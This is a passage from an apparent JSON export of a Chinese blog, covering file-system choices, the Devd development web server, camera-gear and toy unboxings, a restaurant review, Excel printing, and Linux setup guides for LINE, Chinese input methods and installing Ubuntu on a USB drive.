常用的檔案系統，讓您更容易選擇適合自己的檔案系統。\u003c/p\u003e\n\u003cp\u003e在 Windows 中如果要新增硬碟時，需要進行格式化的動作，這時候必須選擇一個適合自己的檔案系統，如果選擇不恰當，日後很容易造成許多困擾，最常見的狀況就是使用 FAT32 這種舊的檔案系統，當需要儲存超過 4GB 的大檔案時，複製檔案到一半，就出現這樣的錯誤訊息：\u003c/p\u003e","title":"NTFS、FAT32 與 exFAT 檔案系統比較，解決檔案太大無法放置在目的檔案系統問題"},{"content":"Devd 是一個輕量級的 HTTP 網頁伺服器，可以讓網頁開發者快速建立一個測試網頁用的環境。\n網頁開發者在撰寫網頁時，通常都會需要一個網頁伺服器進行一些測試，尤其是在網頁牽涉到 AJAX 這類的技術時，如果只是單純用瀏覽器打開網頁，沒有一個真正的網頁伺服器的話，就無法讓網頁的程式正常運作。\n我們之前介紹過如何使用 Python 的指令快速建立一個臨時的網頁伺服器，但如果您的開發環境沒有安裝 Python 的話，就不是那麼方便（尤其是 Windows 環境），這時候可以考慮使用 Devd 這個開放原始碼且跨平台的網頁伺服器，他把整個網頁伺服器直接包裝乘一個獨立的可執行檔，不管是 Windows、Mac OS X 或 Linux 都可以直接使用。\nDevd 的官方 GitHub 網頁上有提供各種平台的編譯版本，對於一般的網頁開發者而言，把官方打包好的檔案下載回來即可立即使用，非常方便，以下是 Devd 的使用方式。\n基本使用方式 Step 1\n從 Devd 的官方 GitHub 網頁上下載 Linux 版的執行檔，並解壓縮。\ntar zxvf devd-0.1-linux64.tgz Step 2\n解開之後，會有一個 devd-0.1-linux64 目錄，裡面只有包含一個 devd 執行檔，您可以把這個執行檔放在任何一個 PATH 的路徑中，或是直接執行這個執行檔也可以，如果是常常需要使用的話，可以在加目錄中建立一個自己的 ~/bin 目錄：\nmkdir ~/bin 然後將 devd 執行檔放進這個目錄：\nmv devd-0.1-linux64/devd ~/bin/ 接著在 ~/.bashrc 中加入 PATH 的設定：\nexport PATH=$PATH:~/bin 這樣以後就可以直接在命令列使用 devd 了，如果剛設定好，要讓設定馬上生效的話，可以執行：\nsource ~/.bashrc Step 3\nDevd 最簡單的使用方式就是直接執行，並指定網頁的所在目錄：\ndevd -ol /path/to/html 這樣就會啟動網頁伺服器，並且自動開啟瀏覽器顯示該目錄的網頁內容。這裡加入 -o 參數可以自動開啟瀏覽器，顯示目前所在目錄的網頁，而 -l 參數則是在檔案變動時讓瀏覽器自動重新載入（live reload）。\n而在終端機中會輸出 HTTP 請求與伺服器回應的資訊，這些資訊對於開發者而言很有用。\n如果要查看每一個請求的表頭（header）詳細資料，可以加上 -H 參數：\ndevd -olA /path/to/html 這樣終端機中就會顯示每一個請求的表頭：\n以上是 Devd 的基本用法，除此之外還有一些進階的功能，請繼續閱讀下一頁。\n指定伺服器 IP 位址與連接埠 -A 參數可以指定伺服器傾聽（listen）的 IP 位址：\ndevd -olA 127.0.0.1 . 13:57:49: Listening on http://devd.io:8000 (127.0.0.1:8000) 而 -a 則是可以讓 Devd 傾聽所有的的 IP 位址：\ndevd -ola . 14:04:28: Listening on http://devd.io:8000 ([::]:8000) -p 參數可以指定連接埠：\ndevd -olA 127.0.0.1 -p 12345 . 14:36:06: Listening on http://devd.io:12345 (127.0.0.1:12345) 限制網路頻寬（bandwidth） -d 參數可以指定資料下載的速度（單位為 KB/秒）：\ndevd -old 5 . 這樣可以模擬資料實際的傳輸速度，方便開發者進行各種測試。\n-u 參數可以指定資料上傳的速度（單位為 KB/秒），使用方式跟 -d 類似。\n模擬網路延遲（latency） 實際的網頁在網路上傳輸時，一定會有網路的延遲存在，-d 可以讓開發者設定網路延遲時間（單位為 milliseconds），模擬實際的狀況：\ndevd -oln 1500 . 加入了網路頻寬與延遲的參數，就可以模擬出接近真實的使用情境，這個對於 UX 的開發與設計很有用，最常見的狀況就是在網路比較慢的環境下載載入時，網頁設計者會在網頁上放一些小動畫，改善使用者經驗，讓不要使用者空等。\n路由（Route） Devd 可以透過路由的功能改變網頁的檔案路徑：\ndevd -ol . /assets/=./static 這樣當我們開啟 http://devd.io:8000/assets/ 這個網頁時，他就會去讀取 ./static 的檔案。（devd.io 是 Devd 所提供的特殊網址，會解析至 127.0.0.1）。\n我們可以利用路由的功能，建立一個 reverse proxy：\ndevd http://localhost:8888 以上是 Devd 的各種用法，這些使用方法同時適用於 Windows、Mac OS X 與 Linux 平台，善用這些功能對於網頁的開發很有幫助。\n參考資料 ghacks.net ","permalink":"https://blog.gtwang.org/web-development/devd-lightweight-http-server-for-developer/","summary":"\u003cp\u003e\u003ca href=\"https://github.com/cortesi/devd\"\u003eDevd\u003c/a\u003e 是一個輕量級的 HTTP 網頁伺服器，可以讓網頁開發者快速建立一個測試網頁用的環境。\u003c/p\u003e\n\u003cp\u003e網頁開發者在撰寫網頁時，通常都會需要一個網頁伺服器進行一些測試，尤其是在網頁牽涉到 AJAX 這類的技術時，如果只是單純用瀏覽器打開網頁，沒有一個真正的網頁伺服器的話，就無法讓網頁的程式正常運作。\u003c/p\u003e","title":"Devd 輕量級 HTTP 網頁伺服器，網頁開發與測試用工具"},{"content":"這兩天買了一隻 Manfrotto 209 492 Long 桌上型腳架，寫個開箱文紀錄一下。\n之前買過一隻 Manfrotto 的輕便型腳架，對於 Manfrotto 的感覺很不錯，這次又買了一隻可以隨身攜帶的桌上型腳架，以下是簡單的開箱記錄。\n開箱。\n「Made in Italy」義大利製的。\n這是 Manfrotto 209 492 Long 桌上型腳架所有的配件，包含底座、雲台、中桿與收納袋。\n收納袋有兩個袋子，剛好設計用來放置腳架與中桿。\n收進收納袋之後，攜帶很方便。\n這是腳架打開的樣子。\n這是腳架的另外一面，雲台上有標示 Manfrotto 492。\n底座的編號是 Manfrotto 209，義大利原廠製造。\n腳架底部是軟木墊，這樣在桌子上使用比較不用怕刮傷桌面。\n這是把雲台拆下來的樣子。\n接上中桿。\n中桿還可以在往上延伸一節，整個腳架的高度最高可以到 40 公分左右，以這種腳架而言，這個高度已經算很高了。\n雲台上有附贈一個 1/4 吋轉 3/8 吋的螺絲，預先就鎖在上面，這個可以方便轉接各種設備。\n我拿一台舊的 Olympus E-520 做示範，這種比較大台的相機裝上去也很好用。\n如果加上中桿的話，高度比較高，使用上就要小心一點，如果相機很大台，又像這樣側躺的話，重心比較容易不穩，但如果是小型的微單眼，應該都沒問題。\n","permalink":"https://blog.gtwang.org/unboxing/manfrotto-209-492-long-tripod/","summary":"\u003cp\u003e這兩天買了一隻 Manfrotto 209 492 Long 桌上型腳架，寫個開箱文紀錄一下。\u003c/p\u003e\n\u003cp\u003e之前買過一隻 \u003ca href=\"/unboxing/manfrotto-mkcompactlt-compact-unboxing/\"\u003eManfrotto 的輕便型腳架\u003c/a\u003e，對於 Manfrotto 的感覺很不錯，這次又買了一隻可以隨身攜帶的桌上型腳架，以下是簡單的開箱記錄。\u003c/p\u003e","title":"[開箱] 曼富圖 Manfrotto 209 492 Long 桌上型腳架"},{"content":"這兩天又買了一隻新的 Olympus 變焦鏡頭，這次是頂級的鏡皇 12-40mm F2.8 Pro 變焦鏡。\n之前買了一顆 25mm f/1.4 與一顆 17mm f/1.8 定焦鏡，在家使用確實很不錯，但最近時常出門旅遊與用餐，在外頭老是要換鏡頭實在不放便，另外也會擔心外頭灰塵多，不想過於頻繁的換鏡，這次索性一次買一隻最頂級的變焦鏡，希望出門可以一鏡到底。\n這一隻 Olympus M.ZD 12-40mm F2.8 Pro 變焦鏡頭，可以算是 Olympus 品牌中這個焦段最頂級的鏡皇，價格在兩萬初到三萬之間（水貨、公司貨價差不小），因為是高價位的鏡頭，所以我選擇公司貨的拆鏡，從 Yahoo 奇摩超級商城上買到的價格是 23,900 元，個人感覺這個價格跟水貨來比相差不大，但維修比較有保障。\n商品使用泡泡帶包裝，空隙是用牛皮紙填充。\n我這次除了買一顆 12-40mm 的變焦鏡之外，同時也買了一片 B+W 的保護鏡，兩個都用泡泡帶包裝。\n先來看鏡頭，這是拆開泡泡帶的樣子。因為是拆鏡，所以沒有盒子。\n裡面有附元佑與原廠的保證書，還有一個鏡頭袋。\n鏡頭的部分還有一層不織布的套袋（這裡沒有拍到），拿出來之後就是鏡頭與遮光罩。\n這顆鏡頭是最頂級的鏡皇，多拍幾張。\n這是我第一次買這麼高檔的鏡頭。\n鏡頭前玉。\n鏡頭後玉。\n這是鏡頭轉到廣角端（12mm）的長度，只稍微凸出去一點點而已。（轉到 14mm 到 18mm 之間的時候，長度最短）\n這是轉到望遠端（40mm）的長度。\n鏡頭上有一個「L-Fn」按鈕，可以自己設定按鍵功能。\n「PRO」字樣代表 Olympus 專業級的鏡頭。\n這隻鏡頭有防塵防滴（SPLASH PROOF）的設計。\n鏡頭買來第一件事是就裝上保護鏡，因為這次買的鏡頭比較高級，所以就選擇比較好的 B+W 保護鏡，這一片的價格是 1,650 元。\n德國製的。\n這是保護鏡。\n這是保護鏡裝上去之後的樣子。\n這樣就可以安心使用鏡頭了。\n我拿之前買的 17mm f/1.8 來跟這隻 12-40mm f/2.8 比較一下，大小相差很多，當然重量就更不用說了，12-40mm 也重很多。\n裝在 E-PL6 機身上，鏡頭感覺真的很大。\n因為鏡頭的重量比較重，裝在 E-PL6 上面其實不太好拿。\n這樣的組合容易頭重腳輕，拍照時要小心一點，我想未來如果常常拍照的話，可能還是需要添購大一點的機身會比較適合。\n","permalink":"https://blog.gtwang.org/unboxing/olympus-m-zd-12-40mm-f28-pro-len/","summary":"\u003cp\u003e這兩天又買了一隻新的 Olympus 變焦鏡頭，這次是頂級的鏡皇 12-40mm F2.8 Pro 變焦鏡。\u003c/p\u003e\n\u003cp\u003e之前買了一顆 \u003ca href=\"/unboxing/panasonic-leica-dg-summilux-25mm-f1-4-asph-unboxing/\"\u003e25mm f/1.4\u003c/a\u003e 與一顆 \u003ca href=\"/unboxing/olympus-m-zd-17mm-f18-len/\"\u003e17mm f/1.8\u003c/a\u003e 定焦鏡，在家使用確實很不錯，但最近時常出門旅遊與用餐，在外頭老是要換鏡頭實在不放便，另外也會擔心外頭灰塵多，不想過於頻繁的換鏡，這次索性一次買一隻最頂級的變焦鏡，希望出門可以一鏡到底。\u003c/p\u003e","title":"[開箱] Olympus M.ZD 12-40mm F2.8 Pro 變焦鏡頭與 B+W 保護鏡"},{"content":"上個週末我們全家去逛家樂福，順便給小朋友買個玩具，這次挑了一個遙控怪手。\n這是一台有線的遙控挖土機，家樂福賣三百多塊，因為我們家小朋友時常很容易把這類的玩具玩壞，所以就選一台便宜的，想說如果玩壞了就算了。\n小朋友有買玩具心情就很好。\n一回到家就等不及想要玩了。\n剛拿到的時候，一開始還不太會玩，不過玩了幾個小時就很熟練了。\n這台怪手看起來應該不太容易摔換，至少我看它被摔個一兩次還是很正常可以玩。\n這個怪手有三個操縱桿，可以移動、轉彎、挖東西，玩起來有很多變化。\n雖然看起來不錯，但是現在這種玩具都是大陸製的，品質也沒辦法好到哪裡去，它的操縱桿做得不是很好，手指要比較用力才能操控，其餘的部分是還可以接受。\n","permalink":"https://blog.gtwang.org/children/remote-control-backhoe-toy/","summary":"\u003cp\u003e上個週末我們全家去逛家樂福，順便給小朋友買個玩具，這次挑了一個遙控怪手。\u003c/p\u003e\n\u003cp\u003e這是一台有線的遙控挖土機，家樂福賣三百多塊，因為我們家小朋友時常很容易把這類的玩具玩壞，所以就選一台便宜的，想說如果玩壞了就算了。\u003c/p\u003e","title":"[開箱] 遙控怪手玩具（挖土機）"},{"content":"最近家裡的一支手機因為時常用到完全沒電，鋰電池整個脹起來，幾乎完全無法蓄電，整顆電池報銷。\n如果手機沒電時，最好乖乖接上充電器讓它充電，我家裡的一支手機因為時常用到沒電自動關機，結果後來就發現電池的蓄電量變差，時常容易沒電，惡性循環之後，整顆電池都脹起來，脹得很大，連手機後蓋都被撐開，最後電池就報銷了。\n隨即上網趕緊買一顆新的電池。\n新的電池還有附贈一個塑膠套，感覺不錯。\n這是新電池與壞掉電池的比較，很明顯可以看到右邊那一顆整個脹起來。\n脹起來之後，厚度差很多。\n換上新的電池之後，手機就正常了。\n經過這次的事件，以後就知道手機不要老是用到自動關機，不然電池很容易掛掉，還好換上新的電池之後，手機看起來一切正常，沒有把手機搞壞。\n","permalink":"https://blog.gtwang.org/mobile/infocus-cell-phone-battery-swelling-up/","summary":"\u003cp\u003e最近家裡的一支手機因為時常用到完全沒電，鋰電池整個脹起來，幾乎完全無法蓄電，整顆電池報銷。\u003c/p\u003e\n\u003cp\u003e如果手機沒電時，最好乖乖接上充電器讓它充電，我家裡的一支手機因為時常用到沒電自動關機，結果後來就發現電池的蓄電量變差，時常容易沒電，惡性循環之後，整顆電池都脹起來，脹得很大，連手機後蓋都被撐開，最後電池就報銷了。\u003c/p\u003e","title":"手機鋰電池過度放電膨脹"},{"content":"這裡介紹如何在 Linux 中安裝 LINE 聊天軟體的 Chrome App，不用煩惱 LINE 沒有 Linux 版本的問題。\nLINE 是現今最熱門的即時通訊軟體之一，不管是跟朋友聯絡或是上班討論公事，時常都會使用 LINE 來傳遞訊息，對於 Linux 的使用者而言，LINE 沒有推出適用於 Linux 系統的電腦版真的是一件很困擾的事情，還好後來 LINE 有提供 Chrome App 的版本，Linux 的使用者只要安裝好 Google Chrome 瀏覽器之後，就可以透過這個版本來使用 LINE，雖然使用上不像原生的應用程式那樣方便，不過聊勝於無。\n以下是在 Linux 安裝 LINE 的步驟。\nStep 1\n首先當然是要先安裝好 Google 的 Chrome 瀏覽器，這個請從 Google 的網站下載。這個部分應該大家都很熟悉，我就不詳細介紹了。\nStep 1\n開啟 Chrome 瀏覽器，從線上應用程式商店中找到 LINE 這個應用程式。\n點選「加到 Chrome」安裝這個 LINE App。\nStep 2\n安裝完成後，會顯示 LINE 已經加入至 Chrome 應用程式啟動器，這樣就完成安裝了。\nStep 3\n以 Linux Mint 的桌面來說，安裝好之後，LINE 就會出現在系統選單中了。\nStep 4\n打開 LINE 的 Chrome App，外觀看起來就跟一般電腦版的 LINE 差不多。\nStep 5\n第一次登入後，要在手機上輸入認證碼。\nStep 6\n接著就可以開始在 Linux 上使用 LINE 了！\nChrome App 版本的 LINE 不像原生應用程式那樣可以有系統工作列的圖示，也無法使用視訊或語音通話，不過一般的聊天、傳送圖片或檔案等基本功能都有，用起來還算不錯。\n","permalink":"https://blog.gtwang.org/linux/linux-install-line-chrome-app/","summary":"\u003cp\u003e這裡介紹如何在 Linux 中安裝 LINE 聊天軟體的 Chrome App，不用煩惱 LINE 沒有 Linux 版本的問題。\u003c/p\u003e\n\u003cp\u003eLINE 是現今最熱門的即時通訊軟體之一，不管是跟朋友聯絡或是上班討論公事，時常都會使用 LINE 來傳遞訊息，對於 Linux 的使用者而言，LINE 沒有推出適用於 Linux 系統的電腦版真的是一件很困擾的事情，還好後來 LINE 有提供 Chrome App 的版本，Linux 的使用者只要安裝好 Google Chrome 瀏覽器之後，就可以透過這個版本來使用 LINE，雖然使用上不像原生的應用程式那樣方便，不過聊勝於無。\u003c/p\u003e","title":"Linux 安裝 LINE 聊天軟體的 Chrome App"},{"content":"這裡介紹 Linux Mint 中文輸入法的懶人安裝法，不用輸入任何指令，滑鼠點一點就可以裝好了。\nLinux Mint 現在是最熱門的 Linux 發行版，受歡迎的程度甚至已經超過 Ubuntu（請參考 distrowatch 的排名），我最近試用了一下，感覺真的很棒，不過中文輸入法的部份預設沒有自動裝好，需要自己安裝，還它都有把各種輸入法整合好，裝起來也不會太麻煩，有注音、倉頡與嘸蝦米等，以下是不需要指令的懶人安裝步驟。\nStep 1\n首先從系統的主選單中，選擇「系統設定」。\nStep 2\n選擇「語言」。\nStep 3\n正常來說如果安裝時有選擇中文語系的話，這裡的語言設定應該就都是中文的，所以不用特別更改。\nStep 4\n選擇「輸入法」籤頁，這裡有好多種輸入法架構可以選擇，使用哪一種都可以，我們示範 Fcitx 的安裝方式。點選「為 Fcitx 加入支援」。\nStep 5\n因為要安裝輸入法，所以要輸入密碼，取得管理者權限。\nStep 6\n接著會下載必要的套件。\nStep 7\n然後自動安裝。\nStep 8\n安裝好 Fcitx 基本的套件之後，還需要再加裝一些選擇性套件，點選 Fcitx 的「安裝選擇性組件」。\nStep 9\n安裝好之後，從「輸入法」的選項中選擇 Fcitx，這樣就完成了。\nStep 10\n接著登出系統，再重新登入，就可以使用各種的中文輸入法了。\n連嘸蝦米輸入法都有，很方便！\n因為是懶人安裝法，所以會裝一大堆可能用不到的輸入法，這些用不到的部份可以自己從 Fcitx 的設定界面中刪除。\n","permalink":"https://blog.gtwang.org/linux/linux-mint-install-chinese-input-methods/","summary":"\u003cp\u003e這裡介紹 Linux Mint 中文輸入法的懶人安裝法，不用輸入任何指令，滑鼠點一點就可以裝好了。\u003c/p\u003e\n\u003cp\u003eLinux Mint 現在是最熱門的 Linux 發行版，受歡迎的程度甚至已經超過 Ubuntu（請參考 \u003ca href=\"https://distrowatch.com/\"\u003edistrowatch\u003c/a\u003e 的排名），我最近試用了一下，感覺真的很棒，不過中文輸入法的部份預設沒有自動裝好，需要自己安裝，還它都有把各種輸入法整合好，裝起來也不會太麻煩，有注音、倉頡與嘸蝦米等，以下是不需要指令的懶人安裝步驟。\u003c/p\u003e","title":"Linux Mint 安裝中文輸入法，不用打指令的懶人安裝法"},{"content":"羽儂蔬食百匯是一家高品質的素食歐式自助餐，餐點豐富、環境優雅、價格實在，很適合過年過節親朋好友聚會、團體聚餐。\n羽儂蔬食百匯位於台南市佳里區，是一家吃到飽的素食餐廳，這裡的餐點不僅色香味俱全，而且非常有變化，價格的部分，平日是每個人 250 元，假日則是 280 元，90 ~ 120 公分的兒童是半價，90 公分以下免費，不收任何服務費。\n由於佳里跟七股很近，如果要去七股潟湖或鹽山等景點玩的人，來這裡用餐也非常方便。從國道一號高速公路的麻豆交流道下來，若要去七股的話，通常都會沿著 176 號縣道開，而羽儂剛好就在 176 號縣道旁邊，順路就會經過。\n許多的素食者在跟親戚朋友聚餐時，通常都會很困擾聚餐場所的問題，要找一個同時讓素食者與非素食者都可以開心用餐的餐廳實在不容易，而羽儂是一個很適合讓素食者與非素食者聚餐的場所，有許多不是吃素的顧客來吃了之後，也都感覺很不錯，如果您有朋友對於素食有刻板印象，認為素食都是青菜、不好吃的話，我建議您可以請他來羽儂看看，這裡的素食絕對跟他想像中的不一樣！\n以我個人而言，因為我們家吃素，所以跟太太娘家的親戚聚餐時都會選擇素食餐廳，而這一家就是我們常常會來聚餐的地方，雖然整個家族只有我們家的人吃素，不過來羽儂用餐的話，大家也都感覺很不錯。\n若要團體聚餐的話，可以事先訂位，人數少的話訂外面開放式的座位就可以了，而如果人數稍微比較多的話，可以考慮訂包廂。\n因為這篇文章的照片實在太多了，怕有些人找不到店家的資料，所以我把重要的資訊先寫出來，這樣比較清楚。\n店名：羽儂蔬食百匯\n地址：台南市佳里區佳東路 457 號\n網址：Facebook\n有時候營業時間的資訊會有一些小變動，如果要看最新的資訊，可以從羽儂的官方 Facebook 上查詢。\n這是餐廳的大門。\n來這裡用餐停車很方便，餐廳門口就可以停車。\n如果門口停滿了，進學路上也可以停。（可參考 Google 地圖的街景）\n餐廳一進門是櫃台，這裡有個小魚池，我們家小朋友很愛在這裡看魚。\n付款完後，就可以走進去用餐了。\n這是餐廳內的座位。\n也有這種木頭的桌椅。\n這是用餐區的樣子，因為我今天來的比較早，所以一開始還沒有什麼人，這時候也比較好拍照。\n趁著還沒有太多人的時候，多拍幾張。\n這些餐點的擺盤都很漂亮，看了都很想吃。\n各種生菜與沙拉，我個人很喜歡這個。\n接下來是各式各樣的主菜。\n因為這裡的餐點變化真的很多，有些我真的看不出來它是用什麼做的，所以有些餐點暫時就沒有寫敘述，只好等以後有機會研究出來再補，跟大家說聲抱歉。\n焗烤。\n烤馬鈴薯片，醬汁是黑胡椒。\n素烤培根。\n各種壽司。\n蓮子油飯。\n串烤杏鮑菇。\n炸地瓜。\n涼麵。\n海燕窩。\n醬烤鮑魚菇。\n炒米粉。\n南瓜。\n披薩。\n皮蛋豆腐。\n紫米糕。\n這是焗烤筊白筍。\n涼拌蓮藕片。\n清炒山藥。\n麻辣臭豆腐，這一鍋因為味道比較重，平常是用鍋蓋蓋起來的，一開始不容易發現。\n素粽。\n芋頭包子。\n這裡的沙拉很好吃，我每次去一定都會先夾一盤。\n接著再夾一盤主菜。\n一盤沙拉，一盤主菜，再加上一碗湯，這樣慢慢吃真的很享受。\n這裡的菜色常常會有意想不到的驚喜，這個是吃到一半突然發現的素食蚵仔煎。\n在用餐的時段裡，如果人很多，菜被夾光的時候，就會有新的菜餚端上來，這時候就可以去逛逛，看看有沒有喜歡吃的，這個素食蚵仔煎就是吃到一半突然發現的。\n除了主菜之外，還有火鍋、湯品、飲料與甜點，因為圖實在太多了，所以我把文章分成幾頁，這樣比較好閱讀，請接著閱讀下一頁。\n火鍋區有很多火鍋料可以選擇，食材都很新鮮。\n下方有小鍋子，將自己想要的火鍋料裝好之後，再拿去火鍋的櫃檯煮。\n火鍋有好幾種湯底可以選擇。\n裝好火鍋料後，老闆娘會幫顧客現煮火鍋，大約三分鐘後再過來拿。\n這是我們點的味噌火鍋，味噌湯很好喝。\n因為一鍋火鍋還蠻多的，如果全部一個人吃完，可能就沒辦法吃別的東西了，最好是兩三個人點一鍋，這樣比較不會吃太撐。\n羹與湯的部分也會常常變化。\n這是菱角湯。\n這是我裝的一碗菱角湯。\n另外還有一鍋補湯，這一鍋是天天都會有的，很好喝。\n下面這個是我裝的一碗補湯。\n飲料的部分，這裡有幾種很健康的冷飲，例如蓮藕茶、鮮果醋、綜合果汁等。\n熱飲的部分，有咖啡機可以現磨現泡咖啡喔。\n這是我用咖啡機現磨現泡的咖啡，吃飽喝一杯咖啡，很不錯。\n熱飲除了咖啡之外，還有菊花茶與杏仁茶。\n甜點的部分，有麻糬、蛋糕等。\n每天的甜點都不太一樣。\n蛋糕。\n這是我裝的一盤甜點。\n甜點是小朋友最愛吃的。\n還有芋頭西米露。\n我們家小朋友很愛喝這個芋頭西米露。\n冰淇淋是重點，這裡有好多種口味的冰淇淋喔！愛挖幾球都可以。\n這是我挖給小朋友吃的冰淇淋。\n我挖冰淇淋的技術不太好，把冰淇淋弄得扁扁的，不過小朋友只要看到冰淇淋就很高興。\n吃飽之後，當然要吃一些水果。\n我們家小朋友很愛吃水果。\n看起來很好吃的樣子。\n這裡也有獨立的包廂，如果人比較多，希望有獨立用餐空間的話，就可以選擇這裡。\n包廂內部是十人座的圓桌，適合親戚朋友聚會。\n這裡有一些書籍，還有兒童座椅，如果是比較小的小朋友，可以用這種座椅比較方便。\n中午大約在十二點左右，是主要的用餐時間，這時候的人是最多的，如果想要挑位子，最好早一點去。（有時候假日太晚去的話，也可能會沒位子，就稍微要等一下了）\n這次拍的照片雖然很多，但其實羽儂的餐點還不只這些，因為我帶著小朋友用餐，有新的餐點端上來的時候，不是隨時有空可以衝上去拍，再加上人很多，有些菜一端上來之後，旁邊好幾個人就開始夾了，這種狀況我就沒有拍了。\n有時候還會有手卷、酥皮濃湯等等高級的餐點，不過這個要看運氣，依照我個人以往的經驗，這類搶手的菜只要一端上來，不用一分鐘就被拿光了（通常一般人一看到，第一個反應就是一手拿一個回去）。\n我們家小朋友很喜歡在這裡看魚，要回去之前又看了好久。\n店名：羽儂蔬食百匯\n地址：台南市佳里區佳東路 457 號\n網址：Facebook\n有時候營業時間的資訊會有一些小變動，如果要看最新的資訊，可以從羽儂的官方 Facebook 上查詢。\n","permalink":"https://blog.gtwang.org/life/yunong-vegetarian-restaurant-chiali-tainan/","summary":"\u003cp\u003e羽儂蔬食百匯是一家高品質的素食歐式自助餐，餐點豐富、環境優雅、價格實在，很適合過年過節親朋好友聚會、團體聚餐。\u003c/p\u003e\n\u003cp\u003e羽儂蔬食百匯位於台南市佳里區，是一家吃到飽的素食餐廳，這裡的餐點不僅色香味俱全，而且非常有變化，價格的部分，平日是每個人 250 元，假日則是 280 元，90 ~ 120 公分的兒童是半價，90 公分以下免費，不收任何服務費。\u003c/p\u003e","title":"[台南佳里素食] 羽儂蔬食百匯：素食歐式自助餐、生日聚餐、宴席外燴"},{"content":"本篇介紹如何在列印 Excel 表格時，在每一頁自動加上標題列，讓資料閱讀起來更直覺。\n在 Excel 中列印資料比較多的表格時，如果資料超過一頁的話，那麼第二頁以後的表格就只會有資料，不會有標題列，這樣列印出來的表格會讓人不好閱讀，尤其是那種所有資料都是數值的表格，如果沒有標題列，幾乎會讓人無法辨識。\n以下介紹如何設定 Excel 的表格，讓它在列印時自動在每一頁的最上方加上表格的標題列，。\nStep 1\n用 Excel 打開要列印的表格，並且確定表格的上方有一列標題。\n接著我們要設定 Excel 讓這行標題列在列印時，可以自動加在每一頁的第一列。\nStep 2\n選擇「版面配置」，接著點選「列印標題」。\nStep 3\n點選標題列的選擇按鈕。\nStep 4\n選擇標題列的位置，也就是將第一列整個選取起來，然後點選工具列右方的按鈕。\nStep 5\n這時候標題列會出現 $1:$1，這代表使用第一列作為標題列。如果您熟悉 Excel 的表格定位的規則，也可以直接在這裡修改範圍，若要使用前兩列作為標題，就改為 $1:$2。\n設定好標題列之後，按下確定，這樣就完成了。\nStep 6\n這時候不管是從印表機列印，或是輸出成 PDF 檔，在每一頁的上方都會自動加入表格的標題列，這樣就不用煩惱閱讀上的問題了。\n","permalink":"https://blog.gtwang.org/windows/repeat-rows-or-columns-on-printed-page-in-excel/","summary":"\u003cp\u003e本篇介紹如何在列印 Excel 表格時，在每一頁自動加上標題列，讓資料閱讀起來更直覺。\u003c/p\u003e\n\u003cp\u003e在 Excel 中列印資料比較多的表格時，如果資料超過一頁的話，那麼第二頁以後的表格就只會有資料，不會有標題列，這樣列印出來的表格會讓人不好閱讀，尤其是那種所有資料都是數值的表格，如果沒有標題列，幾乎會讓人無法辨識。\u003c/p\u003e","title":"Excel 列印表格：每一頁自動加入標題"},{"content":"這裡以 Ubuntu MATE 為例，示範如何將 Ubuntu Linux 安裝在 USB 隨身碟中，完全不影響原本電腦中的作業系統。\n有些人會想要在既有的電腦上安裝 Linux 系統，但是又不想隨意變動原本的 Windows 作業系統與硬碟上的資料，除了儲存空間的考量之外，也會擔心萬一以後不用 Linux 的時候，要改回來會非常麻煩（其實更擔心改不回來）。\n以往比較常見的做法是直接再買一顆硬碟，把 Linux 系統灌在新硬碟上，跟舊的硬碟分開，不過如果是筆記型電腦就比較難這樣處理，而且拆裝硬碟也很麻煩，而現在由於隨身碟的價格越來越低，幾乎可以把隨身碟當作硬碟用，我們可以將 Linux 系統直接安裝在隨身碟上，這樣不僅拆裝方便，也不影響既有電腦的 Windows 作業系統。\n不過使用隨身碟安裝 Linux 系統也不是沒有缺點，由於隨身碟的硬體有存取次數的限制，如果過度使用的話，隨身碟比較容易壞掉（wear out），不過如果你的隨身碟是終身保固的，而且也不會存放重要資料的話（或是做好備份），應該也沒什麼關係。\n本篇所呈述的操作步驟有可能不適用於所有的環境，請自行斟酌參考。\n以下我用 Ubuntu MATE 來示範將 Linux 安裝在 USB 隨身碟上的過程。首先是要準備好安裝所需要的東西：\n安裝用的 ISO 檔 請從 Ubuntu 的網站下載自己喜歡的 Linux 版本，基本上不管哪一種版本都可以，看自己喜歡，這裡我們以 Ubuntu MATE 做示範。 2G 以上的 USB 隨身碟或 DVD 空片 用來將 ISO 檔製作成 USB 安裝隨身碟，或是燒錄成 DVD 安裝光碟片，因為安裝完之後這個就沒有用了，所以如果有舊的 USB 隨身碟可以用是最好，這樣比較不會浪費一張光碟片。這裡我使用一個 8GB 的隨身碟做示範。 大一點的 USB 隨身碟一個 安裝 Linux 作業系統用，這個大小要多大因人而異，建議至少 8GB 以上，我這裡使用一個 32GB 的隨身碟做示範，另外建議使用 USB 3.0 以上的隨身碟，這樣效能會比較好。 Step 1\n製作安裝用的 USB 隨身碟或是 DVD 光碟，製作 USB 安裝隨身碟可以使用 Pen Drive Linux’s USB Installer，其步驟可參考 Ubuntu 的網頁。\nStep 2\n插上 USB 安裝隨身碟（或是放入安裝 DVD 光碟），並且也將大的安裝系統用隨身碟也一起插上去，開機時選擇 USB 安裝隨身碟（或是安裝 DVD 光碟）開機。\nStep 3\n進入開機選單時，選擇「Try Ubuntu without installing」。\nStep 4\n進入到 Live 的 Ubuntu Linux 桌面之後，可以先將網路設定好，然後點選桌面上的「Install Ubuntu」捷徑。\nStep 5\n開始安裝，選擇語言。\nStep 6\n如果網路還沒設定，這裡可以設定一下網路，如果不想現在上網更新，也可以跳過。\nStep 7\n選擇是否要上網下載更新，以及安裝第三方軟體。\nStep 8\n選則安裝類型，因為我們要把整個 Linux 安裝在 USB 隨身碟中，所以這裡請選擇「其他」。\nStep 9\n分割硬碟，這一步要特別注意，請找出自己的隨身碟，並進行磁碟分割，以我的例子來說，系統用的 32GB 隨身碟是 /dev/sdb，而安裝用的 8G 隨身碟是 /dev/sdc，所以我把 /dev/sdb 切成兩塊，一個是 swap，另一個是系統用的 /。\n在分割硬碟時請小心謹慎，不要動到自己有存放重要資料的硬碟，否則您的資料有可能會損毀！\n這裡有一個很麻煩的地方就是硬碟的順序不是固定的，如果 32GB 的隨身碟在開機後才插上去，那麼系統上的硬碟順序就會不同，請注意不要選錯。\n當安裝用的 8GB 隨身碟不是系統上最後一個硬碟的時候，在安裝完之後，就會無法開機，這個問題後面我們再想辦法修正。\n用來安裝開機程式的裝置，請選擇安裝系統的那一個隨身碟，至於要裝在 MBR 或是個別的分割區，我也不是很確定，我看網路上有文件寫要裝在 /dev/sdb1 分割區，但是我的狀況卻要裝在 MBR（/dev/sdb）才能用，這部分要自己測試。\nStep 10\n分割好硬碟之後，做一次最後確認。\nStep 11\n接著開始安裝，並且選擇自己的所在地。\nStep 12\n選擇鍵盤設定。\nStep 13\n新增帳號。\nStep 